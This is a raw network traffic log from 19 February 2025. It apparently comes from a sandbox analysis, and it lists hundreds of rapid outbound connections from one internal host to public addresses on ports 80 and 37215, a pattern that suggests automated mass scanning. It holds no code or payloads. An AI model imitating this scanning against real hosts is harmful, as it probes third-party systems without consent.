Feb 19, 2025 19:43:17.321400881 CET	27058	80	192.168.2.13	88.116.13.79
Feb 19, 2025 19:43:17.321407080 CET	27058	80	192.168.2.13	88.126.18.240
Feb 19, 2025 19:43:17.321429014 CET	27058	80	192.168.2.13	88.244.21.164
Feb 19, 2025 19:43:17.321446896 CET	27058	80	192.168.2.13	88.94.97.8
Feb 19, 2025 19:43:17.321446896 CET	27058	80	192.168.2.13	88.93.115.231
Feb 19, 2025 19:43:17.321449041 CET	27058	80	192.168.2.13	88.60.237.118
Feb 19, 2025 19:43:17.321449041 CET	27058	80	192.168.2.13	88.195.62.227
Feb 19, 2025 19:43:17.321456909 CET	27058	80	192.168.2.13	88.170.172.15
Feb 19, 2025 19:43:17.321480036 CET	27058	80	192.168.2.13	88.185.84.124
Feb 19, 2025 19:43:17.321501970 CET	27058	80	192.168.2.13	88.61.73.179
Feb 19, 2025 19:43:17.321521044 CET	27058	80	192.168.2.13	88.212.217.230
Feb 19, 2025 19:43:17.321521997 CET	27058	80	192.168.2.13	88.226.248.217
Feb 19, 2025 19:43:17.321542978 CET	27058	80	192.168.2.13	88.121.237.44
Feb 19, 2025 19:43:17.321542978 CET	27058	80	192.168.2.13	88.195.99.252
Feb 19, 2025 19:43:17.321546078 CET	27058	80	192.168.2.13	88.129.31.88
Feb 19, 2025 19:43:17.321547031 CET	27058	80	192.168.2.13	88.84.194.107
Feb 19, 2025 19:43:17.321559906 CET	27058	80	192.168.2.13	88.24.117.72
Feb 19, 2025 19:43:17.321572065 CET	27058	80	192.168.2.13	88.59.12.113
Feb 19, 2025 19:43:17.321585894 CET	27058	80	192.168.2.13	88.131.20.182
Feb 19, 2025 19:43:17.321602106 CET	27058	80	192.168.2.13	88.124.93.202
Feb 19, 2025 19:43:17.321609974 CET	27058	80	192.168.2.13	88.179.6.103
Feb 19, 2025 19:43:17.321610928 CET	46288	37215	192.168.2.13	41.99.158.124
Feb 19, 2025 19:43:17.321630955 CET	27058	80	192.168.2.13	88.134.247.143
Feb 19, 2025 19:43:17.321630955 CET	27058	80	192.168.2.13	88.32.100.120
Feb 19, 2025 19:43:17.321650982 CET	27058	80	192.168.2.13	88.254.107.127
Feb 19, 2025 19:43:17.321655989 CET	27058	80	192.168.2.13	88.187.144.244
Feb 19, 2025 19:43:17.321664095 CET	27058	80	192.168.2.13	88.111.8.44
Feb 19, 2025 19:43:17.321666002 CET	27058	80	192.168.2.13	88.7.234.151
Feb 19, 2025 19:43:17.321676016 CET	27058	80	192.168.2.13	88.132.210.117
Feb 19, 2025 19:43:17.321686983 CET	27058	80	192.168.2.13	88.148.104.182
Feb 19, 2025 19:43:17.321712971 CET	27058	80	192.168.2.13	88.185.219.163
Feb 19, 2025 19:43:17.321717024 CET	27058	80	192.168.2.13	88.172.0.250
Feb 19, 2025 19:43:17.321717978 CET	27058	80	192.168.2.13	88.117.66.103
Feb 19, 2025 19:43:17.321724892 CET	27058	80	192.168.2.13	88.181.237.135
Feb 19, 2025 19:43:17.321749926 CET	27058	80	192.168.2.13	88.111.159.29
Feb 19, 2025 19:43:17.321765900 CET	27058	80	192.168.2.13	88.133.105.180
Feb 19, 2025 19:43:17.321774006 CET	27058	80	192.168.2.13	88.23.92.40
Feb 19, 2025 19:43:17.321774006 CET	27058	80	192.168.2.13	88.218.212.45
Feb 19, 2025 19:43:17.321774006 CET	27058	80	192.168.2.13	88.49.138.86
Feb 19, 2025 19:43:17.321777105 CET	37215	36294	41.16.131.145	192.168.2.13
Feb 19, 2025 19:43:17.321784019 CET	27058	80	192.168.2.13	88.184.250.17
Feb 19, 2025 19:43:17.321813107 CET	36294	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:17.321813107 CET	27058	80	192.168.2.13	88.92.83.173
Feb 19, 2025 19:43:17.321840048 CET	27058	80	192.168.2.13	88.225.69.214
Feb 19, 2025 19:43:17.321841002 CET	27058	80	192.168.2.13	88.191.234.194
Feb 19, 2025 19:43:17.321842909 CET	27058	80	192.168.2.13	88.253.231.246
Feb 19, 2025 19:43:17.321873903 CET	27058	80	192.168.2.13	88.188.98.111
Feb 19, 2025 19:43:17.321877003 CET	27058	80	192.168.2.13	88.106.195.53
Feb 19, 2025 19:43:17.321880102 CET	27058	80	192.168.2.13	88.76.95.212
Feb 19, 2025 19:43:17.321901083 CET	27058	80	192.168.2.13	88.125.103.186
Feb 19, 2025 19:43:17.321901083 CET	27058	80	192.168.2.13	88.85.191.120
Feb 19, 2025 19:43:17.321913004 CET	27058	80	192.168.2.13	88.2.188.181
Feb 19, 2025 19:43:17.321954966 CET	27058	80	192.168.2.13	88.60.138.155
Feb 19, 2025 19:43:17.321954966 CET	27058	80	192.168.2.13	88.186.38.178
Feb 19, 2025 19:43:17.321954966 CET	27058	80	192.168.2.13	88.143.145.164
Feb 19, 2025 19:43:17.321969986 CET	27058	80	192.168.2.13	88.77.14.72
Feb 19, 2025 19:43:17.322000980 CET	27058	80	192.168.2.13	88.181.247.39
Feb 19, 2025 19:43:17.322021961 CET	27058	80	192.168.2.13	88.69.240.246
Feb 19, 2025 19:43:17.322022915 CET	27058	80	192.168.2.13	88.45.141.63
Feb 19, 2025 19:43:17.322021961 CET	27058	80	192.168.2.13	88.62.9.211
Feb 19, 2025 19:43:17.322046041 CET	27058	80	192.168.2.13	88.194.61.142
Feb 19, 2025 19:43:17.322052956 CET	27058	80	192.168.2.13	88.202.184.68
Feb 19, 2025 19:43:17.322067976 CET	27058	80	192.168.2.13	88.185.33.224
Feb 19, 2025 19:43:17.322067976 CET	27058	80	192.168.2.13	88.141.84.233
Feb 19, 2025 19:43:17.322084904 CET	27058	80	192.168.2.13	88.147.16.252
Feb 19, 2025 19:43:17.322086096 CET	27058	80	192.168.2.13	88.232.204.201
Feb 19, 2025 19:43:17.322086096 CET	27058	80	192.168.2.13	88.230.142.139
Feb 19, 2025 19:43:17.322089911 CET	27058	80	192.168.2.13	88.244.143.67
Feb 19, 2025 19:43:17.322110891 CET	27058	80	192.168.2.13	88.161.42.254
Feb 19, 2025 19:43:17.322129011 CET	27058	80	192.168.2.13	88.109.254.97
Feb 19, 2025 19:43:17.322129011 CET	27058	80	192.168.2.13	88.184.89.74
Feb 19, 2025 19:43:17.322139978 CET	27058	80	192.168.2.13	88.221.143.232
Feb 19, 2025 19:43:17.322166920 CET	27058	80	192.168.2.13	88.133.209.130
Feb 19, 2025 19:43:17.322200060 CET	41720	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:17.322252035 CET	41720	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:17.322876930 CET	42224	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:17.323378086 CET	44262	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:17.323378086 CET	44262	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:17.323695898 CET	44764	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:17.324346066 CET	43878	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:17.324346066 CET	43878	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:17.324687004 CET	44376	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:17.325109005 CET	50988	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:17.325109005 CET	50988	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:17.325429916 CET	51466	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:17.325879097 CET	38932	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:17.325879097 CET	38932	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:17.326174974 CET	39396	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:17.326678038 CET	37936	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:17.326678038 CET	37936	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:17.327155113 CET	38384	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:17.327611923 CET	80	41720	112.173.4.193	192.168.2.13
Feb 19, 2025 19:43:17.327841997 CET	37114	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.327841997 CET	37114	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.328597069 CET	37496	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.328872919 CET	80	44262	112.94.111.49	192.168.2.13
Feb 19, 2025 19:43:17.329597950 CET	58210	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:17.329597950 CET	58210	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:17.329689026 CET	80	43878	112.93.31.83	192.168.2.13
Feb 19, 2025 19:43:17.330394030 CET	58582	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:17.330580950 CET	80	50988	112.248.206.112	192.168.2.13
Feb 19, 2025 19:43:17.331291914 CET	80	38932	112.62.83.91	192.168.2.13
Feb 19, 2025 19:43:17.331346035 CET	36176	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:17.331346035 CET	36176	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:17.331816912 CET	36538	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:17.332036018 CET	80	37936	112.176.196.97	192.168.2.13
Feb 19, 2025 19:43:17.332607031 CET	50516	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:17.332607031 CET	50516	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:17.332998037 CET	50862	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:17.333152056 CET	80	37114	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:17.333441973 CET	42036	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:17.333441973 CET	42036	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:17.333795071 CET	42368	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:17.333910942 CET	80	37496	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:17.333971024 CET	37496	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:17.334247112 CET	38202	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:17.334247112 CET	38202	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:17.334606886 CET	38516	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:17.335103989 CET	80	58210	112.137.4.185	192.168.2.13
Feb 19, 2025 19:43:17.335233927 CET	45820	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.335233927 CET	45820	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.335596085 CET	46104	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.336143017 CET	38762	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:17.336143017 CET	38762	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:17.336469889 CET	39040	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:17.336680889 CET	80	36176	112.80.82.213	192.168.2.13
Feb 19, 2025 19:43:17.336925030 CET	60708	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:17.336925030 CET	60708	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:17.337301970 CET	60962	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:17.337574005 CET	80	50516	112.136.93.211	192.168.2.13
Feb 19, 2025 19:43:17.338121891 CET	41306	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:17.338121891 CET	41306	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:17.338406086 CET	80	42036	112.190.182.192	192.168.2.13
Feb 19, 2025 19:43:17.338464975 CET	41526	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:17.339242935 CET	80	38202	112.237.229.98	192.168.2.13
Feb 19, 2025 19:43:17.339739084 CET	52010	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:17.339739084 CET	52010	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:17.339813948 CET	49012	37215	192.168.2.13	41.100.123.121
Feb 19, 2025 19:43:17.340225935 CET	80	45820	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:17.340558052 CET	80	46104	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:17.340595961 CET	46104	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:17.341089964 CET	80	38762	112.23.8.163	192.168.2.13
Feb 19, 2025 19:43:17.341964960 CET	80	60708	112.92.192.205	192.168.2.13
Feb 19, 2025 19:43:17.342293978 CET	52206	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:17.343091011 CET	80	41306	112.19.43.201	192.168.2.13
Feb 19, 2025 19:43:17.344716072 CET	80	52010	112.20.171.23	192.168.2.13
Feb 19, 2025 19:43:17.346802950 CET	57566	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:17.346802950 CET	57566	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:17.347414970 CET	44472	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:17.349623919 CET	57718	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:17.351150036 CET	27314	37215	192.168.2.13	157.164.95.66
Feb 19, 2025 19:43:17.351186991 CET	27314	37215	192.168.2.13	157.251.60.71
Feb 19, 2025 19:43:17.351186991 CET	27314	37215	192.168.2.13	157.191.40.251
Feb 19, 2025 19:43:17.351190090 CET	27314	37215	192.168.2.13	157.115.29.160
Feb 19, 2025 19:43:17.351205111 CET	27314	37215	192.168.2.13	157.172.250.205
Feb 19, 2025 19:43:17.351211071 CET	27314	37215	192.168.2.13	157.18.13.207
Feb 19, 2025 19:43:17.351211071 CET	27314	37215	192.168.2.13	157.244.127.253
Feb 19, 2025 19:43:17.351248026 CET	27314	37215	192.168.2.13	157.0.194.15
Feb 19, 2025 19:43:17.351248980 CET	27314	37215	192.168.2.13	157.85.41.107
Feb 19, 2025 19:43:17.351253986 CET	27314	37215	192.168.2.13	157.247.55.175
Feb 19, 2025 19:43:17.351272106 CET	27314	37215	192.168.2.13	157.148.127.178
Feb 19, 2025 19:43:17.351327896 CET	27314	37215	192.168.2.13	157.149.15.34
Feb 19, 2025 19:43:17.351336956 CET	27314	37215	192.168.2.13	157.214.51.30
Feb 19, 2025 19:43:17.351336956 CET	27314	37215	192.168.2.13	157.132.229.244
Feb 19, 2025 19:43:17.351339102 CET	27314	37215	192.168.2.13	157.236.14.4
Feb 19, 2025 19:43:17.351377964 CET	27314	37215	192.168.2.13	157.25.45.72
Feb 19, 2025 19:43:17.351383924 CET	27314	37215	192.168.2.13	157.11.29.71
Feb 19, 2025 19:43:17.351383924 CET	27314	37215	192.168.2.13	157.212.78.100
Feb 19, 2025 19:43:17.351387024 CET	27314	37215	192.168.2.13	157.213.193.154
Feb 19, 2025 19:43:17.351423025 CET	27314	37215	192.168.2.13	157.109.41.133
Feb 19, 2025 19:43:17.351432085 CET	27314	37215	192.168.2.13	157.60.9.208
Feb 19, 2025 19:43:17.351447105 CET	27314	37215	192.168.2.13	157.40.106.87
Feb 19, 2025 19:43:17.351473093 CET	27314	37215	192.168.2.13	157.237.218.158
Feb 19, 2025 19:43:17.351475000 CET	27314	37215	192.168.2.13	157.104.105.91
Feb 19, 2025 19:43:17.351489067 CET	27314	37215	192.168.2.13	157.155.91.189
Feb 19, 2025 19:43:17.351520061 CET	27314	37215	192.168.2.13	157.80.16.120
Feb 19, 2025 19:43:17.351522923 CET	27314	37215	192.168.2.13	157.1.159.102
Feb 19, 2025 19:43:17.351542950 CET	27314	37215	192.168.2.13	157.53.211.80
Feb 19, 2025 19:43:17.351552963 CET	27314	37215	192.168.2.13	157.148.229.242
Feb 19, 2025 19:43:17.351547003 CET	27314	37215	192.168.2.13	157.103.104.19
Feb 19, 2025 19:43:17.351561069 CET	27314	37215	192.168.2.13	157.246.181.190
Feb 19, 2025 19:43:17.351561069 CET	27314	37215	192.168.2.13	157.178.159.220
Feb 19, 2025 19:43:17.351592064 CET	27314	37215	192.168.2.13	157.143.71.181
Feb 19, 2025 19:43:17.351592064 CET	27314	37215	192.168.2.13	157.134.224.174
Feb 19, 2025 19:43:17.351596117 CET	27314	37215	192.168.2.13	157.225.15.199
Feb 19, 2025 19:43:17.351608992 CET	27314	37215	192.168.2.13	157.8.34.84
Feb 19, 2025 19:43:17.351610899 CET	27314	37215	192.168.2.13	157.121.135.247
Feb 19, 2025 19:43:17.351627111 CET	27314	37215	192.168.2.13	157.136.42.93
Feb 19, 2025 19:43:17.351677895 CET	27314	37215	192.168.2.13	157.92.31.74
Feb 19, 2025 19:43:17.351680040 CET	27314	37215	192.168.2.13	157.23.160.35
Feb 19, 2025 19:43:17.351681948 CET	27314	37215	192.168.2.13	157.80.142.91
Feb 19, 2025 19:43:17.351687908 CET	27314	37215	192.168.2.13	157.20.16.79
Feb 19, 2025 19:43:17.351726055 CET	27314	37215	192.168.2.13	157.2.138.85
Feb 19, 2025 19:43:17.351726055 CET	54200	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:17.351726055 CET	54200	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:17.351732016 CET	27314	37215	192.168.2.13	157.81.3.83
Feb 19, 2025 19:43:17.351768017 CET	27314	37215	192.168.2.13	157.125.89.77
Feb 19, 2025 19:43:17.351774931 CET	27314	37215	192.168.2.13	157.120.152.240
Feb 19, 2025 19:43:17.351775885 CET	27314	37215	192.168.2.13	157.245.47.35
Feb 19, 2025 19:43:17.351778984 CET	27314	37215	192.168.2.13	157.121.247.179
Feb 19, 2025 19:43:17.351814985 CET	27314	37215	192.168.2.13	157.150.127.104
Feb 19, 2025 19:43:17.351833105 CET	27314	37215	192.168.2.13	157.241.111.95
Feb 19, 2025 19:43:17.351856947 CET	27314	37215	192.168.2.13	157.66.131.135
Feb 19, 2025 19:43:17.351864100 CET	27314	37215	192.168.2.13	157.14.176.45
Feb 19, 2025 19:43:17.351865053 CET	80	57566	112.29.109.63	192.168.2.13
Feb 19, 2025 19:43:17.351877928 CET	27314	37215	192.168.2.13	157.78.213.97
Feb 19, 2025 19:43:17.351907969 CET	27314	37215	192.168.2.13	157.126.39.126
Feb 19, 2025 19:43:17.351907969 CET	27314	37215	192.168.2.13	157.235.108.228
Feb 19, 2025 19:43:17.351944923 CET	27314	37215	192.168.2.13	157.176.64.130
Feb 19, 2025 19:43:17.351952076 CET	27314	37215	192.168.2.13	157.184.235.185
Feb 19, 2025 19:43:17.351953030 CET	27314	37215	192.168.2.13	157.186.209.82
Feb 19, 2025 19:43:17.351975918 CET	27314	37215	192.168.2.13	157.82.102.182
Feb 19, 2025 19:43:17.351983070 CET	27314	37215	192.168.2.13	157.187.189.217
Feb 19, 2025 19:43:17.351993084 CET	27314	37215	192.168.2.13	157.122.101.114
Feb 19, 2025 19:43:17.352010012 CET	27314	37215	192.168.2.13	157.223.197.229
Feb 19, 2025 19:43:17.352022886 CET	27314	37215	192.168.2.13	157.110.178.208
Feb 19, 2025 19:43:17.352041960 CET	27314	37215	192.168.2.13	157.212.248.34
Feb 19, 2025 19:43:17.352042913 CET	27314	37215	192.168.2.13	157.128.189.115
Feb 19, 2025 19:43:17.352056026 CET	27314	37215	192.168.2.13	157.103.128.39
Feb 19, 2025 19:43:17.352092028 CET	27314	37215	192.168.2.13	157.68.34.123
Feb 19, 2025 19:43:17.352092981 CET	27314	37215	192.168.2.13	157.38.34.110
Feb 19, 2025 19:43:17.352119923 CET	27314	37215	192.168.2.13	157.177.202.163
Feb 19, 2025 19:43:17.352123976 CET	27314	37215	192.168.2.13	157.10.252.251
Feb 19, 2025 19:43:17.352149963 CET	27314	37215	192.168.2.13	157.121.10.150
Feb 19, 2025 19:43:17.352150917 CET	27314	37215	192.168.2.13	157.49.95.194
Feb 19, 2025 19:43:17.352157116 CET	54338	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:17.352165937 CET	27314	37215	192.168.2.13	157.34.108.114
Feb 19, 2025 19:43:17.352196932 CET	27314	37215	192.168.2.13	157.238.44.132
Feb 19, 2025 19:43:17.352210045 CET	27314	37215	192.168.2.13	157.252.132.167
Feb 19, 2025 19:43:17.352215052 CET	27314	37215	192.168.2.13	157.251.101.18
Feb 19, 2025 19:43:17.352252007 CET	27314	37215	192.168.2.13	157.204.211.131
Feb 19, 2025 19:43:17.352252007 CET	27314	37215	192.168.2.13	157.10.84.130
Feb 19, 2025 19:43:17.352252960 CET	27314	37215	192.168.2.13	157.91.144.8
Feb 19, 2025 19:43:17.352256060 CET	27314	37215	192.168.2.13	157.24.167.38
Feb 19, 2025 19:43:17.352268934 CET	27314	37215	192.168.2.13	157.72.76.100
Feb 19, 2025 19:43:17.352269888 CET	27314	37215	192.168.2.13	157.60.0.127
Feb 19, 2025 19:43:17.352272987 CET	27314	37215	192.168.2.13	157.84.252.40
Feb 19, 2025 19:43:17.352272987 CET	27314	37215	192.168.2.13	157.46.24.219
Feb 19, 2025 19:43:17.352272987 CET	27314	37215	192.168.2.13	157.200.12.123
Feb 19, 2025 19:43:17.352308035 CET	27314	37215	192.168.2.13	157.13.5.70
Feb 19, 2025 19:43:17.352320910 CET	27314	37215	192.168.2.13	157.34.17.27
Feb 19, 2025 19:43:17.352345943 CET	27314	37215	192.168.2.13	157.74.84.106
Feb 19, 2025 19:43:17.352351904 CET	27314	37215	192.168.2.13	157.244.164.113
Feb 19, 2025 19:43:17.352363110 CET	27314	37215	192.168.2.13	157.183.214.15
Feb 19, 2025 19:43:17.352364063 CET	27314	37215	192.168.2.13	157.60.224.238
Feb 19, 2025 19:43:17.352376938 CET	27314	37215	192.168.2.13	157.140.38.166
Feb 19, 2025 19:43:17.352384090 CET	27314	37215	192.168.2.13	157.98.168.64
Feb 19, 2025 19:43:17.352405071 CET	27314	37215	192.168.2.13	157.242.106.211
Feb 19, 2025 19:43:17.352406979 CET	27314	37215	192.168.2.13	157.166.39.72
Feb 19, 2025 19:43:17.352418900 CET	27314	37215	192.168.2.13	157.201.132.207
Feb 19, 2025 19:43:17.352427959 CET	27314	37215	192.168.2.13	157.95.33.55
Feb 19, 2025 19:43:17.352451086 CET	27314	37215	192.168.2.13	157.40.42.51
Feb 19, 2025 19:43:17.352452040 CET	27314	37215	192.168.2.13	157.94.212.100
Feb 19, 2025 19:43:17.352458000 CET	37215	44472	41.139.71.227	192.168.2.13
Feb 19, 2025 19:43:17.352466106 CET	27314	37215	192.168.2.13	157.4.45.244
Feb 19, 2025 19:43:17.352473974 CET	27314	37215	192.168.2.13	157.96.172.233
Feb 19, 2025 19:43:17.352502108 CET	27314	37215	192.168.2.13	157.2.251.17
Feb 19, 2025 19:43:17.352521896 CET	27314	37215	192.168.2.13	157.52.137.56
Feb 19, 2025 19:43:17.352525949 CET	27314	37215	192.168.2.13	157.34.201.37
Feb 19, 2025 19:43:17.352533102 CET	44472	37215	192.168.2.13	41.139.71.227
Feb 19, 2025 19:43:17.352567911 CET	27314	37215	192.168.2.13	157.120.248.191
Feb 19, 2025 19:43:17.352567911 CET	27314	37215	192.168.2.13	157.34.154.76
Feb 19, 2025 19:43:17.352576971 CET	27314	37215	192.168.2.13	157.250.159.139
Feb 19, 2025 19:43:17.352576971 CET	27314	37215	192.168.2.13	157.67.240.184
Feb 19, 2025 19:43:17.352586985 CET	27314	37215	192.168.2.13	157.4.108.218
Feb 19, 2025 19:43:17.352606058 CET	27314	37215	192.168.2.13	157.29.118.190
Feb 19, 2025 19:43:17.352606058 CET	27314	37215	192.168.2.13	157.68.9.248
Feb 19, 2025 19:43:17.352615118 CET	27314	37215	192.168.2.13	157.109.106.101
Feb 19, 2025 19:43:17.352641106 CET	27314	37215	192.168.2.13	157.25.22.98
Feb 19, 2025 19:43:17.352643013 CET	27314	37215	192.168.2.13	157.92.191.199
Feb 19, 2025 19:43:17.352643967 CET	27314	37215	192.168.2.13	157.30.124.57
Feb 19, 2025 19:43:17.352672100 CET	27314	37215	192.168.2.13	157.245.66.145
Feb 19, 2025 19:43:17.352706909 CET	27314	37215	192.168.2.13	157.157.93.139
Feb 19, 2025 19:43:17.352735043 CET	27314	37215	192.168.2.13	157.79.150.127
Feb 19, 2025 19:43:17.352735043 CET	27314	37215	192.168.2.13	157.105.156.102
Feb 19, 2025 19:43:17.352736950 CET	27314	37215	192.168.2.13	157.156.207.188
Feb 19, 2025 19:43:17.352771997 CET	27314	37215	192.168.2.13	157.73.41.65
Feb 19, 2025 19:43:17.352775097 CET	27314	37215	192.168.2.13	157.125.121.243
Feb 19, 2025 19:43:17.352778912 CET	27314	37215	192.168.2.13	157.24.70.14
Feb 19, 2025 19:43:17.352794886 CET	27314	37215	192.168.2.13	157.192.176.194
Feb 19, 2025 19:43:17.352796078 CET	27314	37215	192.168.2.13	157.26.133.24
Feb 19, 2025 19:43:17.352796078 CET	27314	37215	192.168.2.13	157.69.138.238
Feb 19, 2025 19:43:17.352811098 CET	27314	37215	192.168.2.13	157.192.187.170
Feb 19, 2025 19:43:17.352849960 CET	27314	37215	192.168.2.13	157.236.170.254
Feb 19, 2025 19:43:17.352849960 CET	27314	37215	192.168.2.13	157.142.69.123
Feb 19, 2025 19:43:17.352850914 CET	27314	37215	192.168.2.13	157.239.49.115
Feb 19, 2025 19:43:17.352886915 CET	27314	37215	192.168.2.13	157.167.124.243
Feb 19, 2025 19:43:17.352893114 CET	27314	37215	192.168.2.13	157.238.174.235
Feb 19, 2025 19:43:17.352893114 CET	37276	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:17.352893114 CET	37276	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:17.352907896 CET	27314	37215	192.168.2.13	157.120.110.117
Feb 19, 2025 19:43:17.352907896 CET	27314	37215	192.168.2.13	157.251.129.61
Feb 19, 2025 19:43:17.352946043 CET	27314	37215	192.168.2.13	157.174.55.203
Feb 19, 2025 19:43:17.352948904 CET	27314	37215	192.168.2.13	157.0.212.155
Feb 19, 2025 19:43:17.352977991 CET	27314	37215	192.168.2.13	157.197.78.225
Feb 19, 2025 19:43:17.352986097 CET	27314	37215	192.168.2.13	157.20.243.134
Feb 19, 2025 19:43:17.352992058 CET	27314	37215	192.168.2.13	157.46.90.74
Feb 19, 2025 19:43:17.353002071 CET	27314	37215	192.168.2.13	157.218.140.41
Feb 19, 2025 19:43:17.353028059 CET	27314	37215	192.168.2.13	157.36.203.126
Feb 19, 2025 19:43:17.353063107 CET	27314	37215	192.168.2.13	157.217.74.160
Feb 19, 2025 19:43:17.353064060 CET	27314	37215	192.168.2.13	157.77.205.101
Feb 19, 2025 19:43:17.353064060 CET	27314	37215	192.168.2.13	157.205.41.158
Feb 19, 2025 19:43:17.353065014 CET	27314	37215	192.168.2.13	157.238.191.190
Feb 19, 2025 19:43:17.353065014 CET	27314	37215	192.168.2.13	157.224.86.0
Feb 19, 2025 19:43:17.353081942 CET	27314	37215	192.168.2.13	157.225.97.222
Feb 19, 2025 19:43:17.353091955 CET	27314	37215	192.168.2.13	157.107.36.198
Feb 19, 2025 19:43:17.353096962 CET	27314	37215	192.168.2.13	157.46.108.121
Feb 19, 2025 19:43:17.353117943 CET	27314	37215	192.168.2.13	157.194.248.108
Feb 19, 2025 19:43:17.353126049 CET	27314	37215	192.168.2.13	157.139.73.210
Feb 19, 2025 19:43:17.353168011 CET	27314	37215	192.168.2.13	157.151.11.199
Feb 19, 2025 19:43:17.353173971 CET	27314	37215	192.168.2.13	157.69.47.25
Feb 19, 2025 19:43:17.353183031 CET	27314	37215	192.168.2.13	157.26.21.246
Feb 19, 2025 19:43:17.353197098 CET	27314	37215	192.168.2.13	157.68.196.28
Feb 19, 2025 19:43:17.353240013 CET	27314	37215	192.168.2.13	157.91.174.54
Feb 19, 2025 19:43:17.353240013 CET	27314	37215	192.168.2.13	157.191.87.207
Feb 19, 2025 19:43:17.353262901 CET	27314	37215	192.168.2.13	157.69.99.61
Feb 19, 2025 19:43:17.353282928 CET	27314	37215	192.168.2.13	157.132.18.7
Feb 19, 2025 19:43:17.353482962 CET	48240	37215	192.168.2.13	41.43.128.137
Feb 19, 2025 19:43:17.353486061 CET	39480	37215	192.168.2.13	41.165.238.250
Feb 19, 2025 19:43:17.353486061 CET	33546	37215	192.168.2.13	41.114.111.67
Feb 19, 2025 19:43:17.353528976 CET	32812	37215	192.168.2.13	41.2.72.136
Feb 19, 2025 19:43:17.353537083 CET	27314	37215	192.168.2.13	157.108.92.117
Feb 19, 2025 19:43:17.353537083 CET	49190	37215	192.168.2.13	41.62.62.213
Feb 19, 2025 19:43:17.353537083 CET	52376	37215	192.168.2.13	41.122.80.225
Feb 19, 2025 19:43:17.353537083 CET	56672	37215	192.168.2.13	41.138.13.5
Feb 19, 2025 19:43:17.353537083 CET	47068	37215	192.168.2.13	41.101.255.176
Feb 19, 2025 19:43:17.353538036 CET	42818	37215	192.168.2.13	41.219.145.54
Feb 19, 2025 19:43:17.353543043 CET	38642	37215	192.168.2.13	41.227.248.82
Feb 19, 2025 19:43:17.353543043 CET	39154	37215	192.168.2.13	41.87.158.80
Feb 19, 2025 19:43:17.353557110 CET	37874	37215	192.168.2.13	41.233.172.146
Feb 19, 2025 19:43:17.353580952 CET	52474	37215	192.168.2.13	41.34.14.64
Feb 19, 2025 19:43:17.353593111 CET	56902	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:17.353595018 CET	36250	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:17.353595018 CET	36294	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:17.353615999 CET	49734	37215	192.168.2.13	41.28.88.222
Feb 19, 2025 19:43:17.353682041 CET	49190	37215	192.168.2.13	41.62.62.213
